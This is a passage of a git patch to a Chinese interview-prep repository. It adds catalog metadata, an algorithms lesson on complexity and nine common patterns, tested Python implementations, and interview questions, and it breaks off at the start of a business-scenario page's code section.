From 691f738f5ff1c137bc3876034114515eccfb4da7 Mon Sep 17 00:00:00 2001 From: Shikui Wang Date: Fri, 23 Oct 2026 16:47:11 +0800 Subject: [PATCH] phase 5 part 5: cs algorithms, network-os, web-security topics with tested examples; all 43 stacks pass --strict --- .revision-progress | 1 + catalog.json | 518 +++++++++++++++++- .../cs/algorithms/01-complexity-patterns.md | 104 ++++ .../algorithms/examples/patterns/patterns.py | 142 +++++ .../examples/patterns/test_patterns.py | 63 +++ topics/cs/algorithms/index.md | 26 +- topics/cs/algorithms/interview.md | 67 +++ .../scenarios/business-algorithms.md | 73 +++ topics/cs/network-os/01-http-tcp.md | 101 ++++ topics/cs/network-os/02-os-basics.md | 90 +++ .../network-os/examples/tcp-basics/framing.py | 92 ++++ .../examples/tcp-basics/multiplex_server.py | 54 ++ .../examples/tcp-basics/test_framing.py | 23 + topics/cs/network-os/index.md | 28 +- topics/cs/network-os/interview.md | 67 +++ .../scenarios/connection-troubleshooting.md | 84 +++ .../01-xss-csrf-sqli-cors-ssrf.md | 81 +++ .../examples/secure-api/secure_app.py | 126 +++++ .../examples/secure-api/test_secure_app.py | 71 +++ topics/cs/web-security/index.md | 37 +- topics/cs/web-security/interview.md | 67 +++ .../web-security/scenarios/ai-app-security.md | 77 +++ 22 files changed, 1955 insertions(+), 37 deletions(-) create mode 100644 topics/cs/algorithms/01-complexity-patterns.md create mode 100644 topics/cs/algorithms/examples/patterns/patterns.py create mode 100644 topics/cs/algorithms/examples/patterns/test_patterns.py create mode 100644 topics/cs/algorithms/interview.md create mode 100644 topics/cs/algorithms/scenarios/business-algorithms.md create mode 100644 topics/cs/network-os/01-http-tcp.md create mode 100644 topics/cs/network-os/02-os-basics.md create mode 100644 topics/cs/network-os/examples/tcp-basics/framing.py create mode 100644 topics/cs/network-os/examples/tcp-basics/multiplex_server.py create mode 100644 topics/cs/network-os/examples/tcp-basics/test_framing.py create mode 100644 topics/cs/network-os/interview.md create mode 100644 topics/cs/network-os/scenarios/connection-troubleshooting.md create mode 100644 topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md create mode 100644 topics/cs/web-security/examples/secure-api/secure_app.py create mode 100644 topics/cs/web-security/examples/secure-api/test_secure_app.py create mode 100644 topics/cs/web-security/interview.md create mode 100644 topics/cs/web-security/scenarios/ai-app-security.md diff --git a/.revision-progress b/.revision-progress index 78c1124..5053edf 100644 --- a/.revision-progress +++ b/.revision-progress @@ -11,3 +11,4 @@ phase5a done (frontend ts/vue/react/ssr) phase5b done (frontend vite/webpack/fe-testing-perf) phase5c done (backend mongodb/elasticsearch/data-pipeline/nodejs) phase5d done (java-spring awareness, k8s, run_examples java support) +phase5 done: all 43 stacks pass --strict (cs algorithms/network-os/web-security added) diff --git a/catalog.json b/catalog.json index d07af57..3ac720b 100644 --- a/catalog.json +++ b/catalog.json @@ -393,42 +393,48 @@ "domain": "cs", "title": "数据结构与算法(面试)", "index": "topics/cs/algorithms/index.md", - "lessons": 0, - "scenarios": 0, + "lessons": 1, + "scenarios": 1, "interview_questions": { - "基础": 0, - "进阶": 0, - "场景题": 0 + "基础": 3, + "进阶": 3, + "场景题": 2 }, - "examples": [] + "examples": [ + "topics/cs/algorithms/examples/patterns" + ] }, { "stack": "network-os", "domain": "cs", "title": "网络与操作系统基础", "index": "topics/cs/network-os/index.md", - "lessons": 0, - "scenarios": 0, + "lessons": 2, + "scenarios": 1, "interview_questions": { - "基础": 0, - "进阶": 0, - "场景题": 0 + "基础": 3, + "进阶": 3, + "场景题": 2 }, - "examples": [] + "examples": [ + "topics/cs/network-os/examples/tcp-basics" + ] }, { "stack": "web-security", "domain": "cs", - "title": "Web 安全", + "title": "Web 安全基础", "index": "topics/cs/web-security/index.md", - "lessons": 0, - "scenarios": 0, + "lessons": 1, + "scenarios": 1, "interview_questions": { - "基础": 0, - "进阶": 0, - "场景题": 0 + "基础": 3, + "进阶": 3, + "场景题": 2 }, - "examples": [] + "examples": [ + "topics/cs/web-security/examples/secure-api" + ] }, { "stack": "cicd", @@ -5146,6 +5152,49 @@ "面试怎么讲" ] }, + { + "id": "cs.algorithms.complexity-patterns", + "title": "复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并", + "type": "lesson", + "domain": "cs", + "stack": [ + "algorithms" + ], + "tags": [ + "时间复杂度", + "哈希表", + "滑动窗口", + "二分查找", + "堆", + "Top K", + "BFS", + "DFS", + "拓扑排序", + "动态规划", + "LRU" + ], + "level": "basic", + "prerequisites": [ + "python.python.index" + ], + "related": [ + "cs.algorithms.scenario.business-algorithms", + "cs.algorithms.interview" + ], + "est_hours": 6, + "week": [ + 16 + ], + "order": 1, + "path": "topics/cs/algorithms/01-complexity-patterns.md", + "sections": [ + "解释说明", + "案例", + "代码示例", + "易错点", + "面试常问" + ] + }, { "id": "cs.algorithms.index", "title": "数据结构与算法(面试)", @@ -5154,7 +5203,12 @@ "stack": [ "algorithms" ], - "tags": [], + "tags": [ + "算法", + "数据结构", + "复杂度", + "手写代码" + ], "level": null, "prerequisites": [], "related": [], @@ -5164,7 +5218,135 @@ ], "order": null, "path": "topics/cs/algorithms/index.md", - "sections": [] + "sections": [ + "学习路线", + "企业场景", + "面试题", + "示例代码", + "在 16 周计划中" + ] + }, + { + "id": "cs.algorithms.interview", + "title": "数据结构与算法面试题", + "type": "interview", + "domain": "cs", + "stack": [ + "algorithms" + ], + "tags": [ + "算法", + "数据结构", + "手写代码", + "面试" + ], + "level": "basic", + "prerequisites": [], + "related": [ + "cs.algorithms.complexity-patterns" + ], + "est_hours": null, + "week": [ + 16 + ], + "order": null, + "path": "topics/cs/algorithms/interview.md", + "sections": [ + "基础", + "进阶", + "场景题" + ], + "questions": { + "基础": 3, + "进阶": 3, + "场景题": 2 + } + }, + { + "id": "cs.algorithms.scenario.business-algorithms", + "title": "业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰", + "type": "scenario", + "domain": "cs", + "stack": [ + "algorithms", + "redis", + "langgraph" + ], + "tags": [ + "Top K", + "拓扑排序", + "编辑距离", + "LRU", + "去重", + "复杂度" + ], + "level": "intermediate", + "prerequisites": [ + "cs.algorithms.complexity-patterns" + ], + "related": [ + "cs.algorithms.interview" + ], + "est_hours": 1.5, + "week": [ + 16 + ], + "order": null, + "path": "topics/cs/algorithms/scenarios/business-algorithms.md", + "sections": [ + "业务背景与问题", + "约束", + "方案设计", + "关键代码", + "取舍", + "易错点", + "面试怎么讲" + ] + }, + { + "id": "cs.network-os.http-tcp", + "title": "网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE", + "type": "lesson", + "domain": "cs", + "stack": [ + "network-os" + ], + "tags": [ + "TCP", + "三次握手", + "四次挥手", + "TIME_WAIT", + "粘包", + "HTTP/2", + "HTTP/3", + "HTTPS", + "TLS", + "DNS", + "keep-alive", + "SSE", + "WebSocket" + ], + "level": "basic", + "prerequisites": [], + "related": [ + "cs.network-os.os-basics", + "cs.network-os.scenario.connection-troubleshooting", + "devops.nginx.https-stream-limit" + ], + "est_hours": 3, + "week": [ + 14, + 16 + ], + "order": 1, + "path": "topics/cs/network-os/01-http-tcp.md", + "sections": [ + "解释说明", + "案例", + "代码示例", + "易错点", + "面试常问" + ] }, { "id": "cs.network-os.index", @@ -5174,7 +5356,13 @@ "stack": [ "network-os" ], - "tags": [], + "tags": [ + "TCP", + "HTTP", + "HTTPS", + "进程线程", + "I/O 多路复用" + ], "level": null, "prerequisites": [], "related": [], @@ -5185,17 +5373,202 @@ ], "order": null, "path": "topics/cs/network-os/index.md", - "sections": [] + "sections": [ + "学习路线", + "企业场景", + "面试题", + "示例代码", + "在 16 周计划中" + ] + }, + { + "id": "cs.network-os.interview", + "title": "网络与操作系统面试题", + "type": "interview", + "domain": "cs", + "stack": [ + "network-os" + ], + "tags": [ + "TCP", + "HTTP", + "HTTPS", + "进程线程", + "I/O 多路复用", + "面试" + ], + "level": "basic", + "prerequisites": [], + "related": [ + "cs.network-os.http-tcp", + "cs.network-os.os-basics" + ], + "est_hours": null, + "week": [ + 14, + 16 + ], + "order": null, + "path": "topics/cs/network-os/interview.md", + "sections": [ + "基础", + "进阶", + "场景题" + ], + "questions": { + "基础": 3, + "进阶": 3, + "场景题": 2 + } + }, + { + "id": "cs.network-os.os-basics", + "title": "操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁", + "type": "lesson", + "domain": "cs", + "stack": [ + "network-os" + ], + "tags": [ + "进程", + "线程", + "协程", + "GIL", + "I/O 多路复用", + "epoll", + "虚拟内存", + "OOM", + "文件描述符", + "死锁" + ], + "level": "basic", + "prerequisites": [ + "cs.network-os.http-tcp" + ], + "related": [ + "python.asyncio.index", + "devops.linux.troubleshooting", + "cs.network-os.interview" + ], + "est_hours": 3, + "week": [ + 14, + 16 + ], + "order": 2, + "path": "topics/cs/network-os/02-os-basics.md", + "sections": [ + "解释说明", + "案例", + "代码示例", + "易错点", + "面试常问" + ] + }, + { + "id": "cs.network-os.scenario.connection-troubleshooting", + "title": "线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞", + "type": "scenario", + "domain": "cs", + "stack": [ + "network-os", + "linux", + "fastapi" + ], + "tags": [ + "TIME_WAIT", + "连接池", + "文件描述符", + "事件循环阻塞", + "超时", + "排查" + ], + "level": "intermediate", + "prerequisites": [ + "cs.network-os.http-tcp", + "cs.network-os.os-basics" + ], + "related": [ + "cs.network-os.interview", + "devops.linux.scenario.incident-troubleshooting" + ], + "est_hours": 2, + "week": [ + 14, + 16 + ], + "order": null, + "path": "topics/cs/network-os/scenarios/connection-troubleshooting.md", + "sections": [ + "业务背景与问题", + "约束", + "方案设计", + "关键代码", + "取舍", + "易错点", + "面试怎么讲" + ] + }, + { + "id": "cs.web-security.common-attacks", + "title": "Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态", + "type": "lesson", + "domain": "cs", + "stack": [ + "web-security" + ], + "tags": [ + "XSS", + "CSRF", + "SQL 注入", + "CORS", + "SSRF", + "CSP", + "SameSite", + "参数化查询", + "OWASP" + ], + "level": "basic", + "prerequisites": [ + "cs.network-os.http-tcp" + ], + "related": [ + "cs.web-security.scenario.ai-app-security", + "ai.prompt-engineering.scenario.injection-defense", + "cs.web-security.interview" + ], + "est_hours": 3, + "week": [ + 7, + 14, + 16 + ], + "order": 1, + "path": "topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md", + "sections": [ + "解释说明", + "案例", + "代码示例", + "易错点", + "面试常问" + ] }, { "id": "cs.web-security.index", - "title": "Web 安全", + "title": "Web 安全基础", "type": "index", "domain": "cs", "stack": [ "web-security" ], - "tags": [], + "tags": [ + "XSS", + "CSRF", + "SQL 注入", + "CORS", + "SSRF", + "OWASP" + ], "level": null, "prerequisites": [], "related": [], @@ -5207,7 +5580,100 @@ ], "order": null, "path": "topics/cs/web-security/index.md", - "sections": [] + "sections": [ + "学习路线", + "企业场景", + "面试题", + "示例代码", + "在 16 周计划中", + "参考" + ] + }, + { + "id": "cs.web-security.interview", + "title": "Web 安全面试题", + "type": "interview", + "domain": "cs", + "stack": [ + "web-security" + ], + "tags": [ + "XSS", + "CSRF", + "SQL 注入", + "CORS", + "SSRF", + "面试" + ], + "level": "basic", + "prerequisites": [], + "related": [ + "cs.web-security.common-attacks" + ], + "est_hours": null, + "week": [ + 7, + 14, + 16 + ], + "order": null, + "path": "topics/cs/web-security/interview.md", + "sections": [ + "基础", + "进阶", + "场景题" + ], + "questions": { + "基础": 3, + "进阶": 3, + "场景题": 2 + } + }, + { + "id": "cs.web-security.scenario.ai-app-security", + "title": "AI 客服上线前的安全评审:回答渲染 XSS、抓取工具 SSRF、Text-to-SQL 注入和跨域配置", + "type": "scenario", + "domain": "cs", + "stack": [ + "web-security", + "fastapi", + "vue", + "function-calling" + ], + "tags": [ + "安全评审", + "XSS", + "SSRF", + "Text-to-SQL", + "CORS", + "CSP", + "最小权限" + ], + "level": "intermediate", + "prerequisites": [ + "cs.web-security.common-attacks" + ], + "related": [ + "cs.web-security.interview", + "ai.function-calling.scenario.safe-business-tools", + "ai.prompt-engineering.scenario.injection-defense" + ], + "est_hours": 2.5, + "week": [ + 14, + 16 + ], + "order": null, + "path": "topics/cs/web-security/scenarios/ai-app-security.md", + "sections": [ + "业务背景与问题", + "约束", + "方案设计", + "关键代码", + "取舍", + "易错点", + "面试怎么讲" + ] }, { "id": "devops.cicd.index", diff --git a/topics/cs/algorithms/01-complexity-patterns.md b/topics/cs/algorithms/01-complexity-patterns.md new file mode 100644 index 0000000..35005c6 --- /dev/null +++ b/topics/cs/algorithms/01-complexity-patterns.md @@ -0,0 +1,104 @@ +--- +id: cs.algorithms.complexity-patterns +title: 复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并 +type: lesson +domain: cs +stack: [algorithms] +tags: [时间复杂度, 哈希表, 滑动窗口, 二分查找, 堆, Top K, BFS, DFS, 拓扑排序, 动态规划, LRU] +level: basic +prerequisites: [python.python.index] +est_hours: 6 +related: [cs.algorithms.scenario.business-algorithms, cs.algorithms.interview] +week: [16] +order: 1 +--- + +# 复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并 + +> BOSS直聘 2026-10-23 的调研中有少数岗位明确提到算法 / 数据结构基础,笔试和一面中出现手写题的情况也不少。目标不是刷几百题,而是**掌握模式、能讲复杂度、写出无 bug 的中等题**。练习平台可用 LeetCode 中国站(力扣)。 + +## 解释说明 + +### 复杂度 + +| 复杂度 | 典型操作 | n = 10⁶ 时的感受 | +| --- | --- | --- | +| O(1) | 哈希表查找、数组下标 | 瞬间 | +| O(log n) | 二分查找、堆操作 | 约 20 步 | +| O(n) | 遍历 | 很快 | +| O(n log n) | 排序 | 可以接受 | +| O(n²) | 双重循环 | 太慢(10¹² 次) | + +面试时先说暴力解及其复杂度,再优化,最后说明时间和空间复杂度。 + +### 九个模式(何时想到它) + +| 模式 | 信号 | 例题 | +| --- | --- | --- | +| 哈希表 | “是否出现过”、“计数”、“配对” | 两数之和 | +| 滑动窗口 | 连续子数组 / 子串 + 最长 / 最短 | 无重复字符的最长子串 | +| 二分查找 | 有序、单调、“第一个满足条件的” | lower_bound、搜索旋转数组 | +| 堆 | Top K、动态取最值、合并 K 个有序 | 前 K 个高频元素 | +| BFS | 最短步数、层序遍历 | 网格最短路径 | +| DFS / 拓扑排序 | 依赖关系、是否有环、所有方案 | 课程表 | +| 动态规划 | 最优值 / 方案数、子问题重叠 | 编辑距离、爬楼梯、背包 | +| 设计题 | 要求 O(1) 操作 | LRU 缓存 | +| 排序 + 扫描 | 区间、会议室 | 合并区间 | + +### 答题步骤 + +1. 复述题目,问清边界(空输入、重复、负数、数据规模); +2. 说思路和复杂度,得到认可后再写; +3. 写代码时变量命名清楚; +4. 用一两个例子手动走一遍,包括边界; +5. 说明可以改进的地方。 + +## 案例 + +这些模式在业务中经常出现:热门问题统计(堆)、限流的滑动窗口、任务编排的依赖顺序(拓扑排序,LangGraph / CI 流水线都用到)、文本纠错与相似度(编辑距离)、缓存淘汰(LRU)、排班时间段合并(区间合并)。见[企业场景](scenarios/business-algorithms.md)。 + +## 代码示例 + +[examples/patterns](examples/patterns/):9 个模式的实现 + 13 个测试(其中二分查找与标准库 `bisect` 随机对拍 200 次)。 + +滑动窗口: + +```python +def longest_unique_substring(s: str) -> int: + last: dict[str, int] = {} + left = best = 0 + for right, ch in enumerate(s): + if last.get(ch, -1) >= left: + left = last[ch] + 1 + last[ch] = right + best = max(best, right - left + 1) + return best +``` + +二分查找(左闭右开,最不容易写错的模板): + +```python +def lower_bound(arr: list[int], target: int) -> int: + lo, hi = 0, len(arr) + while lo < hi: + mid = (lo + hi) // 2 + if arr[mid] < target: + lo = mid + 1 + else: + hi = mid + return lo +``` + +## 易错点 + +- 二分查找的区间定义混乱(左闭右闭和左闭右开混用),导致死循环或越界。 +- 滑动窗口中,重复字符在窗口左边界之外时也移动左边界(例如 "abba")。 +- BFS 出队时才标记已访问,导致同一个节点多次入队。 +- 递归 DFS 在深度很大时栈溢出(Python 默认递归深度约 1000)。 +- 只写出代码不说复杂度。 + +## 面试常问 + +- 手写:两数之和、最长无重复子串、二分查找、Top K、LRU、合并区间、课程表、编辑距离 / 爬楼梯。 +- 哈希表的原理和冲突处理? +- 快速排序的平均和最坏复杂度? diff --git a/topics/cs/algorithms/examples/patterns/patterns.py b/topics/cs/algorithms/examples/patterns/patterns.py new file mode 100644 index 0000000..fefb54c --- /dev/null +++ b/topics/cs/algorithms/examples/patterns/patterns.py @@ -0,0 +1,142 @@ +"""面试高频算法模式(只用标准库)。每个函数注明时间 / 空间复杂度;`python patterns.py` 运行自检,test_patterns.py 是测试。""" +from __future__ import annotations + +import heapq +from collections import Counter, OrderedDict, deque +from typing import Hashable, Iterable + + +# 1. 哈希表:两数之和 O(n) / O(n) +def two_sum(nums: list[int], target: int) -> tuple[int, int] | None: + seen: dict[int, int] = {} + for i, x in enumerate(nums): + if target - x in seen: + return seen[target - x], i + seen[x] = i + return None + + +# 2. 滑动窗口:无重复字符的最长子串 O(n) / O(字符集) +def longest_unique_substring(s: str) -> int: + last: dict[str, int] = {} + left = best = 0 + for right, ch in enumerate(s): + if last.get(ch, -1) >= left: + left = last[ch] + 1 # 窗口左边界跳到重复字符的下一位 + last[ch] = right + best = max(best, right - left + 1) + return best + + +# 3. 二分查找:第一个 >= target 的位置(lower_bound) O(log n) / O(1) +def lower_bound(arr: list[int], target: int) -> int: + lo, hi = 0, len(arr) # 左闭右开区间 [lo, hi) + while lo < hi: + mid = (lo + hi) // 2 + if arr[mid] < target: + lo = mid + 1 + else: + hi = mid + return lo + + +# 4. 堆:出现次数最多的 K 个(例如热门问题) O(n log k) / O(n) +def top_k_frequent(items: Iterable[Hashable], k: int) -> list[Hashable]: + counts = Counter(items) + return [x for _, x in heapq.nlargest(k, ((c, x) for x, c in counts.items()))] + + +# 5. BFS:网格最短路径(0 可走,1 障碍) O(行×列) / O(行×列) +def shortest_path(grid: list[list[int]], start: tuple[int, int], end: tuple[int, int]) -> int: + rows, cols = len(grid), len(grid[0]) + q = deque([(start, 0)]) + seen = {start} + while q: + (r, c), d = q.popleft() + if (r, c) == end: + return d + for dr, dc in ((1, 0), (-1, 0), (0, 1), (0, -1)): + nr, nc = r + dr, c + dc + if 0 <= nr < rows and 0 <= nc < cols and grid[nr][nc] == 0 and (nr, nc) not in seen: + seen.add((nr, nc)) + q.append(((nr, nc), d + 1)) + return -1 + + +# 6. DFS + 拓扑排序:任务依赖的执行顺序(有环返回 None) O(V+E) +def topo_order(deps: dict[str, list[str]]) -> list[str] | None: + """deps[a] = [b, c] 表示 a 依赖 b 和 c(b、c 要先执行)。""" + state: dict[str, int] = {} # 0/缺省 未访问,1 访问中,2 已完成 + order: list[str] = [] + + def visit(n: str) -> bool: + if state.get(n) == 1: + return False # 回到“访问中”的节点:有环 + if state.get(n) == 2: + return True + state[n] = 1 + for m in deps.get(n, []): + if not visit(m): + return False + state[n] = 2 + order.append(n) + return True + + nodes = set(deps) | {m for ms in deps.values() for m in ms} + for n in sorted(nodes): + if not visit(n): + return None + return order + + +# 7. 动态规划:编辑距离(文本相似度、纠错) O(mn) / O(n) +def edit_distance(a: str, b: str) -> int: + prev = list(range(len(b) + 1)) + for i in range(1, len(a) + 1): + cur = [i] + [0] * len(b) + for j in range(1, len(b) + 1): + cur[j] = prev[j - 1] if a[i - 1] == b[j - 1] else 1 + min(prev[j - 1], prev[j], cur[j - 1]) + prev = cur + return prev[-1] + + +# 8. 设计题:LRU 缓存 get/put 均为 O(1) +class LRUCache: + def __init__(self, capacity: int): + self.capacity = capacity + self.data: OrderedDict[Hashable, object] = OrderedDict() + + def get(self, key: Hashable) -> object | None: + if key not in self.data: + return None + self.data.move_to_end(key) # 最近使用的移到末尾 + return self.data[key] + + def put(self, key: Hashable, value: object) -> None: + self.data[key] = value + self.data.move_to_end(key) + if len(self.data) > self.capacity: + self.data.popitem(last=False) # 淘汰最久未使用的(头部) + + +# 9. 区间合并:合并重叠的时间段(排班、会议室) O(n log n) +def merge_intervals(intervals: list[tuple[int, int]]) -> list[tuple[int, int]]: + out: list[tuple[int, int]] = [] + for s, e in sorted(intervals): + if out and s <= out[-1][1]: + out[-1] = (out[-1][0], max(out[-1][1], e)) + else: + out.append((s, e)) + return out + + +if __name__ == "__main__": + assert two_sum([2, 7, 11, 15], 9) == (0, 1) + assert longest_unique_substring("abcabcbb") == 3 + assert lower_bound([1, 3, 3, 5], 3) == 1 + assert top_k_frequent(["退货", "发票", "退货", "物流", "退货", "物流"], 2) == ["退货", "物流"] + assert shortest_path([[0, 0, 0], [1, 1, 0], [0, 0, 0]], (0, 0), (2, 0)) == 6 + assert topo_order({"deploy": ["test"], "test": ["build"]}) == ["build", "test", "deploy"] + assert edit_distance("kitten", "sitting") == 3 + assert merge_intervals([(1, 3), (2, 6), (8, 10)]) == [(1, 6), (8, 10)] + print("全部自检通过") diff --git a/topics/cs/algorithms/examples/patterns/test_patterns.py b/topics/cs/algorithms/examples/patterns/test_patterns.py new file mode 100644 index 0000000..8170dd2 --- /dev/null +++ b/topics/cs/algorithms/examples/patterns/test_patterns.py @@ -0,0 +1,63 @@ +import random + +import pytest + +from patterns import (LRUCache, edit_distance, longest_unique_substring, lower_bound, merge_intervals, + shortest_path, top_k_frequent, topo_order, two_sum) + + +def test_two_sum(): + assert two_sum([3, 3], 6) == (0, 1) + assert two_sum([1, 2], 10) is None + + +@pytest.mark.parametrize("s,n", [("", 0), ("bbbb", 1), ("pwwkew", 3), ("abba", 2), ("你好你们好", 3)]) +def test_longest_unique(s, n): + assert longest_unique_substring(s) == n + + +def test_lower_bound_matches_bisect(): + import bisect + rng = random.Random(0) + for _ in range(200): # 与标准库对拍 + arr = sorted(rng.randint(0, 20) for _ in range(rng.randint(0, 15))) + t = rng.randint(-1, 21) + assert lower_bound(arr, t) == bisect.bisect_left(arr, t) + + +def test_top_k(): + assert top_k_frequent([], 3) == [] + assert top_k_frequent(list("aaabbc"), 1) == ["a"] + + +def test_shortest_path_blocked(): + assert shortest_path([[0, 1], [1, 0]], (0, 0), (1, 1)) == -1 + assert shortest_path([[0]], (0, 0), (0, 0)) == 0 + + +def test_topo_cycle_and_order(): + assert topo_order({"a": ["b"], "b": ["a"]}) is None + order = topo_order({"app": ["db", "cache"], "cache": ["net"], "db": ["net"]}) + assert order is not None + pos = {n: i for i, n in enumerate(order)} + assert pos["net"] < pos["db"] < pos["app"] and pos["net"] < pos["cache"] < pos["app"] + + +def test_edit_distance(): + assert edit_distance("", "abc") == 3 + assert edit_distance("退货申请", "退款申请") == 1 + + +def test_lru(): + c = LRUCache(2) + c.put("a", 1) + c.put("b", 2) + assert c.get("a") == 1 # a 变成最近使用 + c.put("c", 3) # 淘汰 b + assert c.get("b") is None and c.get("a") == 1 and c.get("c") == 3 + + +def test_merge_intervals(): + assert merge_intervals([]) == [] + assert merge_intervals([(1, 4), (4, 5)]) == [(1, 5)] + assert merge_intervals([(5, 6), (1, 2)]) == [(1, 2), (5, 6)] diff --git a/topics/cs/algorithms/index.md b/topics/cs/algorithms/index.md index 2446298..48ecddc 100644 --- a/topics/cs/algorithms/index.md +++ b/topics/cs/algorithms/index.md @@ -4,12 +4,32 @@ title: 数据结构与算法(面试) type: index domain: cs stack: [algorithms] -tags: [] +tags: [算法, 数据结构, 复杂度, 手写代码] week: [16] --- # 数据结构与算法(面试) -常考数据结构、复杂度、双指针、哈希、二分、BFS/DFS、动态规划入门。 +掌握九个高频模式、能讲复杂度、写出无 bug 的中等题。BOSS直聘 2026-10-23 的调研中有岗位提到算法 / 数据结构基础。 -> 本专题建设中:课程、企业场景、面试题和示例代码会陆续补充。 +## 学习路线 + +| 顺序 | 课程 | 级别 | 预计 | +| --- | --- | --- | --- | +| 1 | [复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并](01-complexity-patterns.md) | 基础 | 6 小时 | + +## 企业场景 + +- [业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰](scenarios/business-algorithms.md) + +## 面试题 + +- [数据结构与算法面试题](interview.md) + +## 示例代码 + +- [examples/patterns](examples/patterns/):9 个模式的实现和 13 个测试(只用标准库) + +## 在 16 周计划中 + +- [第 16 周:面试冲刺](../../../plan/week16-interview.md) diff --git a/topics/cs/algorithms/interview.md b/topics/cs/algorithms/interview.md new file mode 100644 index 0000000..65c5080 --- /dev/null +++ b/topics/cs/algorithms/interview.md @@ -0,0 +1,67 @@ +--- +id: cs.algorithms.interview +title: 数据结构与算法面试题 +type: interview +domain: cs +stack: [algorithms] +tags: [算法, 数据结构, 手写代码, 面试] +level: basic +related: [cs.algorithms.complexity-patterns] +week: [16] +--- + +# 数据结构与算法面试题 + +## 基础 + +### 【基础】哈希表的原理是什么?冲突怎么处理? + +**参考答案**:通过哈希函数把键映射到数组下标,平均 O(1) 查找。冲突处理:链地址法(同一位置挂链表 / 树)、开放寻址法(探测下一个空位)。负载因子过高时扩容并重新哈希。 + +**追问**:Python 的 dict 用哪种?→ 开放寻址;从 3.7 起保证插入顺序。 + +### 【基础】手写二分查找,找第一个大于等于 target 的位置。 + +**参考答案**:左闭右开 `[lo, hi)`,`arr[mid] < target` 时 `lo = mid + 1`,否则 `hi = mid`,循环条件 `lo < hi`,返回 `lo`。见[示例](examples/patterns/patterns.py)。 + +**追问**:怎么找最后一个等于 target 的位置?→ 找第一个大于 target 的位置再减 1,并检查该位置的值是否等于 target。 + +### 【基础】数组和链表的区别? + +**参考答案**:数组连续存储,随机访问 O(1),中间插入删除 O(n),缓存友好;链表随机访问 O(n),已知节点时插入删除 O(1),额外的指针开销。 + +**追问**:LRU 为什么用哈希表 + 双向链表?→ 哈希表 O(1) 定位节点,双向链表 O(1) 移动和删除节点。 + +## 进阶 + +### 【进阶】实现 LRU 缓存,get 和 put 都是 O(1)。 + +**参考答案**:哈希表存键到节点的映射,双向链表维护使用顺序:访问时移到尾部,超容量时删除头部。Python 可用 `OrderedDict.move_to_end` 和 `popitem(last=False)`。 + +**追问**:多线程下怎么办?→ 加锁,或分段锁降低竞争;如果是分布式缓存,用 Redis 的淘汰策略(`allkeys-lru`)。 + +### 【进阶】如何从海量数据中找出出现次数最多的 K 个? + +**参考答案**:哈希计数 + 大小为 K 的小顶堆,O(n log K)。数据放不进内存时:按哈希分片写入多个文件,分别统计 Top K,再合并。 + +**追问**:可以接受误差时?→ Count-Min Sketch 等近似计数结构,内存固定。 + +### 【进阶】怎么判断任务依赖中是否有环? + +**参考答案**:DFS 三色标记(未访问、访问中、已完成),遇到“访问中”的节点说明有环;或者 Kahn 算法:不断移除入度为 0 的节点,最后仍有节点未移除说明有环。 + +**追问**:哪些业务会用到?→ 构建系统、CI 流水线、工作流引擎、数据管道调度。 + +## 场景题 + +### 【场景题】现场手写:无重复字符的最长子串。 + +**参考答案**:滑动窗口,记录每个字符最后出现的位置;遇到重复且在窗口内时,左边界移到重复位置的下一位;每步更新最大长度。O(n)。注意 "abba" 这类重复字符已在窗口外的情况。 + +**追问**:如果允许最多 K 个不同字符?→ 窗口内用哈希表计数,不同字符数超过 K 时收缩左边界。 + +### 【场景题】运营后台要显示每小时的热门问题 Top 20,怎么做? + +**参考答案**:规范化文本 → 哈希计数 → 堆取 Top K;多实例用 Redis 有序集合按小时分 key 累加并设置过期;语义相近的问题再做聚类合并。详见[业务中的算法](scenarios/business-algorithms.md)。 + +**追问**:复杂度是多少?→ 计数 O(n),取 Top K 为 O(m log K),m 是不同问题的数量。 diff --git a/topics/cs/algorithms/scenarios/business-algorithms.md b/topics/cs/algorithms/scenarios/business-algorithms.md new file mode 100644 index 0000000..ce0b388 --- /dev/null +++ b/topics/cs/algorithms/scenarios/business-algorithms.md @@ -0,0 +1,73 @@ +--- +id: cs.algorithms.scenario.business-algorithms +title: 业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰 +type: scenario +domain: cs +stack: [algorithms, redis, langgraph] +tags: [Top K, 拓扑排序, 编辑距离, LRU, 去重, 复杂度] +level: intermediate +prerequisites: [cs.algorithms.complexity-patterns] +est_hours: 1.5 +related: [cs.algorithms.interview] +week: [16] +--- + +# 业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰 + +## 业务背景与问题 + +AI 客服运营后台需要: + +1. 每小时展示用户最常问的 20 个问题(每小时几十万条消息); +2. 知识库导入任务有依赖(先解析、再分块、再嵌入、再建索引),要按正确顺序执行,并发现配置中的循环依赖; +3. 标注 Bad Case 时,大量问题只是错别字或说法略有不同,需要聚合去重; +4. 进程内缓存最近查询的文档,内存有限。 + +## 约束 + +- 统计要在秒级完成。 +- 去重不能误合并意思不同的问题。 + +## 方案设计 + +1. **Top K**:先对问题文本做规范化(去空白、统一全半角),用哈希表计数,再用大小为 K 的堆取前 K,O(n log K);多实例时用 Redis 有序集合 `ZINCRBY` + `ZREVRANGE` 汇总。 +2. **任务依赖**:用拓扑排序得到执行顺序,检测到环时拒绝保存配置;同层没有依赖关系的任务可以并行。 +3. **相似去重**:先按规范化文本精确去重;再对候选对计算编辑距离(短文本)或向量相似度(语义),超过阈值的合并为一组,人工确认后生效。编辑距离是 O(mn),只对长度相近的候选对计算,避免 O(n²) 两两比较全部。 +4. **缓存**:LRU 淘汰;Python 中可直接用 `functools.lru_cache` 或 `OrderedDict` 实现。 + +## 关键代码 